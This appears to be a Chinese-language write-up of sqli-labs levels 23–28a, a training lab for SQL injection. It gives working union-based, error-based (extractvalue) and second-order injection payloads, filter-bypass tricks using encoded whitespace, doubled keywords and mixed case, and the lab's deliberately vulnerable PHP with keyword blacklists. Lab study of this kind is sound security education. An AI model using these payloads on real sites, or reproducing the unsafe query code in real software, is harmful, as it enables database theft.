文章目录
- 23、less23-Error Based-no comments
- 24.less24-Second Degree Injections
- 25.less25-Trick with OR & AND
- 25a.less25a-Trick with OR & AND Blind
- 26.less26-Trick With Comments
- 26a.less26a-Trick With Comments
- 27.less27-Trick with SELECT&UNION
- 27a.less27a-Trick with SELECT&UNION
- 28.less28-Trick with SELECT & UNION
- 28a.less28a-Trick with SELECT & UNION
23、less23-Error Based-no comments
23.1、注入分析
从源码我们可以发现,在这里主要是对注释符(–+和#)进行了替换,因此我们需要用等式 ‘1’=‘1
对后面的引号进行闭合。
因此。本关的paylaod类似于第一关,这里给出一个paylaod,其余的类似于第一关的payload,就不一一赘述了。
查找数据库的名称:
http://192.168.10.208:8081/sqli-labs-master/Less-23/index.php?id=-1' union select 1,database(),3 and '1'='1
输出结果如下:
23.2、获取数据
后面是参考的另外有一篇文章的方法,写的很赞哦!
Less-23 :https://www.cnblogs.com/lcamry/p/5763012.html
此处的sql语句为
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1
Explain:此处讲解几个知识点:
- id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
- -1’ union select 1,@@datadir,‘3,第一个’(单引号)闭合-1,第二个’(单引号)闭合后面的。这样将查询内容显示在username处。
- 此处可以报错注入,延时注入,可以利用or ‘1’='1进行闭合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271
以上这条语句就是利用extractvalue()进行报错注入。
将@@datadir修改为其他的选择内容或者是内嵌的select语句。以下用联合注入方法进行注入。
• 获取数据库
http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
此处获取的数据库为security
•查看security库数据表
http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
•查看users表的所有列
http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
•获取内容
http://127.0.0.1/sqllib/Less-23/index.php?id=-1’union select 1,(select group_concat(username) from security.users limit 0,1),'3
23.3、源码分析
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//preg_replace — 执行一个正则表达式的搜索和替换;用$replace替换掉$id中的$reg
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#0000ff">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
24.less24-Second Degree Injections
24.1、注入分析
在这里我们利用的是新建用户,首先新建一个用户admin ' #
,然后用这个用户修改密码,修改的却是admin的密码,但是用户admin ' #
的密码却没有变化。
如下,我们先来看一下原始数据库中的用户与用户密码。
然后,我们新建一个用户admin ' #
,密码为1。
然后登陆用户admin ' #
,修改密码。将密码修改为123456.
然后,我们查看修改密码前后数据库中的用户密码改变。
24.2、源码分析
修改密码pass_change.php文件的部分源码:
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
25.less25-Trick with OR & AND
25.1、注入分析
可见本关主要为过滤了and和or,如何绕过and和or过滤为关键。
- 1.大小写变形 OR,Or,And等等
- 2.编码,hex,urlencode
- 3.添加注释 / * or * /
- 4.利用等价符号 and和&&,or和 ||
如下,在这里可以利用union注入,类似于第一关的paylaod。
http://192.168.10.208:8081/sqli-labs-master/Less-25/?id=-1' union select 1,2,3%23
还可以利用报错注入or,如下:
http://192.168.10.208:8081/sqli-labs-master/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))--+
25.2、代码分析
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
………………………………………………
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
………………………………………………
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
25a.less25a-Trick with OR & AND Blind
25a.1、注入分析
从如下源代码可以发现,本关上一关是类似的,闭合方式为数字型,没有单引号,而且没有输出数据库信息,因此我们不能使用报错注入,但还可以使用union注入和延时注入。
以下为联合注入查找数据库地址和版本号。
http://192.168.10.208:8081/sqli-labs-master/Less-25a/?id=-1 union select 1,version(),@@basedir %23
输出结果为:
25a.2、代码分析
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
………………………………………………………………
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
………………………………………………………………
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql)or die(mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
26.less26-Trick With Comments
参考链接:Less26
26.1、注入分析
由源码可以看出,在本关中我们过滤的有and、or、/*、#、空格以及\,闭合方式为单引号闭合。
在本关我们可以利用union注入,过滤了空格,我们需要使用其他的字符替换空格。在这里我们利用%b0,替换空格,其他的类似。
http://192.168.10.208:8081/sqli-labs-master/Less-26/?id=0‘ %0b union %0b select %0b 1,2,3 ||'1'='1
具体解析如下:【来源于参考文章less26】
TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。
本关结合25关,将空格,or,and,/*,#,–,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
- %09 TAB键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return功能
- %0b TAB键(垂直)
- %a0 空格
26关,sql语句为SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
我们首先给出一个最为简单的payload:
http://127.0.0.1/sqllib/Less-26/?id=1’%a0||'1
Explain:’%a0||'1
同时,我们此处的sql语句为SELECT * FROM users WHERE id=‘1’ || ‘1’ LIMIT 0,1
第一个 ’ 首先闭合id=’$id’ 中的’,%a0是空格的意思,(ps:此处我的环境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp测试,不能解析%a0,有知情的请告知。)同时%0b也是可以通过测试的,其他的经测试是不行的。||是或者的意思,'1则是为了闭合后面的 ’ 。
26a.less26a-Trick With Comments
26a、注入分析
看源码可以发现这个代码类似于less26关,但是闭合方式改变为单引号+括号,数据库中的错误信息不进行输出。无法进行报错注入,可以利用延时注入和union注入,因此类似于less26关。
http://192.168.10.208:8081/sqli-labs-master/Less-26a/?id=0')%0bunion%0bselect%0b1,user(),(' 3
27.less27-Trick with SELECT&UNION
27.1、注入分析
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//表达 * 与+的区别 ,* 表示重复0数或n 次,而+ 表示1次以上,即一例中<[0-9]+ >表示<>里面至少要有一个数字才符合条件。
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
上面是我们的过滤函数,可以发现,相较于26关,这一关过滤的条件增加了很多。过滤的有 :and、or、/*、#、空格、\、出现任意多次的select、一次union、UNION、SELECT、Union、Select。并且可以发现会显示数据库肚饿报错信息呢,因此可以利用报错注入和union注入。
当我们使用union注入时,可以利用ununionion、SeLecT绕过上面的注入函数。其余的类似于上面。
http://192.168.10.208:8081/sqli-labs-master/Less-27/?id=0'%0bununionion%0bSeLecT%0b1,database(),'@@basedir
27a.less27a-Trick with SELECT&UNION
27a.1、注入分析
从上面源码可以看出,本关相较于27关,主要是闭合方式改为了双引号,并且不输出数据库的错误信息,因此我们无法利用报错注入,但可以利用union注入。
http://192.168.10.208:8081/sqli-labs-master/Less-27a/?id=0"%0bununionion%0bSeLecT%0b1,database(),"@@basedir
28.less28-Trick with SELECT & UNION
28.1、注入分析
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
由上面源码可以得出,本关过滤的了/*、–、#、空格、union select字符串。类似于上一关就不重复赘述了。
http://192.168.10.208:8081/sqli-labs-master/Less-28/?id=0')%0bUnIoN%0bSeLecT%0b1,database(),('@@basedir
28a.less28a-Trick with SELECT & UNION
28a.1、注入分析
如上可知,本关类似于less28,只是少了几个过滤函数而已,且闭合方式为单引号+括号。
http://192.168.10.208:8081/sqli-labs-master/Less-28a/?id=0')unIon%0bsElect%0b1,@@basedir,3||('1